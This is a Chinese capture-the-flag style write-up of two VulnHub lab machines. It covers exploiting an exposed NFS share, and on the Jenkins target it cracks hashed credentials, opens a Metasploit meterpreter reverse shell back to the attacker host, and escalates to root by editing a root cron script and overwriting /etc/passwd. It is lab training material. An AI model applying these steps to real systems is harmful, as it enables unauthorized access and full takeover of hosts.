前言

本次一共实战了两个靶机,FourandSix靶机渗透比较简单,但还是值得记录学习,jarbas靶机稍微难度大点但难度也不高。

FourandSix靶机

环境准备

下载FourandSix靶机:https://download.vulnhub.com/fourandix/FourAndSix-vmware.zip

下载好后解压,如果安装好了vmware直接点击vmx文件,用vmware运行即可

主机:kali linux 222.182.111.132

靶机 : FourandSix靶机

目标:拿下靶机root权限和里面的flag

信息收集

1.确定靶机ip (我是将靶机的网络模式改成nat模式,共享主机的ip,让靶机和主机在同一网段下)

扫描同网段下其余存活主机:

nmap -sP 222.182.111.1/24

222.182.111.1为网关地址,222.182.111.254为虚拟机分配ip的结束地址,222.182.111.132为kali地址,所以确定靶机ip为222.182.111.135

2.扫描靶机确定端口及服务

nmap -sV 222.182.111.135

可以看到靶机开放了三个端口:22(ssh),111(rpcbind),2049(nfs)

测试

靶机开放的三个端口,22端口我们不到万不得已,不会去爆破,这里没有常见的http端口,我们去百度下剩下两个端口对应的服务

nfs服务主要是为了服务端和客户端的网络共享,在客户端可以挂载服务端中的共享目录,在这里靶机相当于服务端,该端口开放意味着靶机存在共享目录等着我们去挂载,里面肯定有重要信息。

而rpcbind服务是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号是什么的。简单理解rpc就是一个中介服务。

那现在我们就应该在kali客户端上搭建nfs服务去挂载靶机的共享目录,由于kali默认没有安装NFS客户端工具,需要在kali上安装。

过程如下:

安装nfs-common:

apt-get install nfs-common

打开NFS相关配置文件/etc/exports

leafpad /etc/exports

并且输入以下内容:

/share1 *(sync,ro) 222.182.111.135(sync,rw)     #输出“/share1” 目录,对所有主机可读,对地址为222.182.111.135的主机可读可写,rw表示可读写,sync表示同步写入,数据安全,基本不会丢,但效率低

编辑完成后需要重启服务,先重启rpcbind,再重启nfs

systemctl restart rpcbind
systemctl restart nfs

查看靶机NFS服务器的共享服务器列表

showmount -e 222.182.111.135

可以看到/shared目录是共享的

在kali客户端上创建挂载点

mkdir /mnt/share1
mount -t nfs 222.182.111.135:/shared /mnt/share1    #mount命令主要用于挂载文件。这里将靶机nfs服务端的共享文件夹/shared挂载到kali的/mnt/share1目录下
cd /mnt/share1
ls

可以看到有一个img文件,我们将其创建一个USB-stick目录将img文件挂载到里面,看看里面有什么:

mkdir USB-stick
mount USB-stick.img USB-stick
cd USB-stick
ls -al

看到里面是一些图片,并没有什么:

在这里思路断了,卡了很久。原来根目录也是共享的

在/mnt/share1/USB-stick目录下创建一个jlzj的文件夹,尝试挂载根目录

mkdir jlzj
mount 222.182.111.135:/ jlzj               #挂载到jlzj目录下
cd /jlzj
ls -la

是个惊奇的发现

我们看看root目录里面有什么

我们看看proof.txt有什么

cat proof.txt

5027a37dc785a5d1888bffd4e249e3dd

应该是flag了。

happy hacking!

总结

有时候有许多信息都要自己去先学习了才能找到突破口,比如nfs本菜以前从未听过,也是才学习的,不足之处请多指教,不喜勿喷。

jarbas靶机

环境准备

下载jarbas靶机:https://download.vulnhub.com/jarbas/Jarbas.zip

主机:kali linux 222.182.111.132

靶机 : jarbas靶机

目标:拿下靶机root权限和里面的flag

信息收集

1.确定靶机ip

扫描同网段下其余存活主机:

nmap -sP 222.182.111.1/24

确定靶机ip为222.182.111.137

2.扫描靶机确定端口及服务

nmap -sV -p- 222.182.111.137

可以看到开放了22(ssh),80(http),3306(mysql),8080(http)四个端口

测试

老规矩,我们先访问80端口看看:

一顿查看源代码,查看网络管理器,没发现什么重要的信息,那我们就爆破目录:

dirb http://222.182.111.137:80 /usr/share/dirb/wordlists/big.txt

没爆破到什么重要目录,可能是字典不够强大,那我们换一种方式,用扩展名来探测,测试一些常用的扩展名,如php,html等:

dirb http://222.182.111.137:80 -X .php
dirb http://222.182.111.137:80 -X .html    #dirb的-X参数,代表匹配扩展名,默认字典是/usr/share/dirb/wordlists/common.txt,dirb自带的公共目录,会将字典内的内容加上扩展名去爆破

common.txt如图所示:

爆破到access.html:

我们看看里面有什么:

发现三组用户名及其密码hash,本菜尝试用md5解密,解密得到三组用户名及密码

tiago:italia99

trindade:marianna

eder:vipsu

尝试在网页登录,连接ssh都不可行

那我们看看8080端口有什么线索:

发现是一个登录页面,我们用三组用户密码尝试,发现最后一组可行,登录成功:

这是一个jenkins平台,Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台。

我们在用metasploit试试看看能否获取会话

google一波,发现默认就有一个模块jenkins_script_console

试一试

依次输入以下命令:

use exploit/multi/http/jenkins_script_console
show options
set target 1
set USERNAME eder
set PASSWORD vipsu
set RHOST 222.182.111.137
set RPORT 8080
set TARGETURI /
show payloads 
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 222.182.111.132
exploit

配置完成后为下图所示:

成功拿到了会话:

提权

提权方式如下:

我们查看下 /etc/crontab文件,该文件里记录的是隔一段时间执行的一些命令,也就是会记录crontab命令隔一段时间执行的命令的调度表。

可以看到/etc/script/目录下的CleaningScript.sh文件会隔五分钟执行一次,原本是用于每隔五分钟删除访问日志,这个文件的执行权限是root,正因为这个文件的执行权限是root,所以这里有一个思路:

我们上传一个伪造的passwd文件,我们在里面添加一个具有root权限的超级用户jlzj,因为一般的cp拷贝命令是没有权限操作/etc/passwd文件的,所以我们需要将给cp命令添加权限的命令写入CleaningScript.sh文件中,隔五分钟自动执行一次,这样cp拷贝命令执行时具有对/etc/passwd的操作权限,就可以替换掉原来的/etc/passwd文件。那么我们就成为了超级用户了

具体实现过程如下:

将给cp命令加权的命令写入文件:

cd /etc/script/             
echo "chmod u+s /usr/bin/cp" > CleaningScript.sh

在终端生成加盐的用户名密码hash

touch passwd
leafpad passwd
openssl passwd -1 -salt jlzj abc123      #该命令用于生成hash,-1表示用MD5基于BSD的密钥算法。用户名为jlzj,密码是abc123

将生成的新用户hash加入到伪造的passwd文件中:

接着执行如下命令:

upload /root/passwd /tmp              #这里需要先crtl+c退出shell回到会话,再用会话的upload命令上传到/tmp目录下
shell                                #切换到shell
python -c 'import pty;pty.spawn("/bin/bash")'

在shell执行:

cd /tmp
cp passwd /etc/passwd                  #拷贝伪造得的passwd文件覆盖原本的/etc/passwd文件
cat /etc/passwd                   #查看是否拷贝成功

拷贝成功

接下来我们切换到新创建的jlzj用户:

su jlzj

输入密码abc123,成功拿到root权限:

接下来切换到root目录下拿到flag.txt即可:

总结

靶机总体难度不算难,我认为有三个难点:

1.爆破目录时,也要讲究技巧,不能一味使用字典,当然字典足够强大也可以(嘿嘿,手动滑稽)

2.寻找可用的metasploit的模块

3.最后提权的思路,当然思路可能有其他,那就等待大佬们去发现啦。

本文写的比较琐碎详细,可能比较适合新手,大佬们不喜勿喷哈。

参考链接

http://www.rkali.com/2018/04/20/nfs/

https://zhidao.baidu.com/question/617321960475860852.html

https://blog.csdn.net/frankarmstrong/article/details/78774679

https://baike.baidu.com/item/NFS/812203?fr=aladdin

https://www.exploit-db.com/exploits/24272/

源链接

Hacking more

...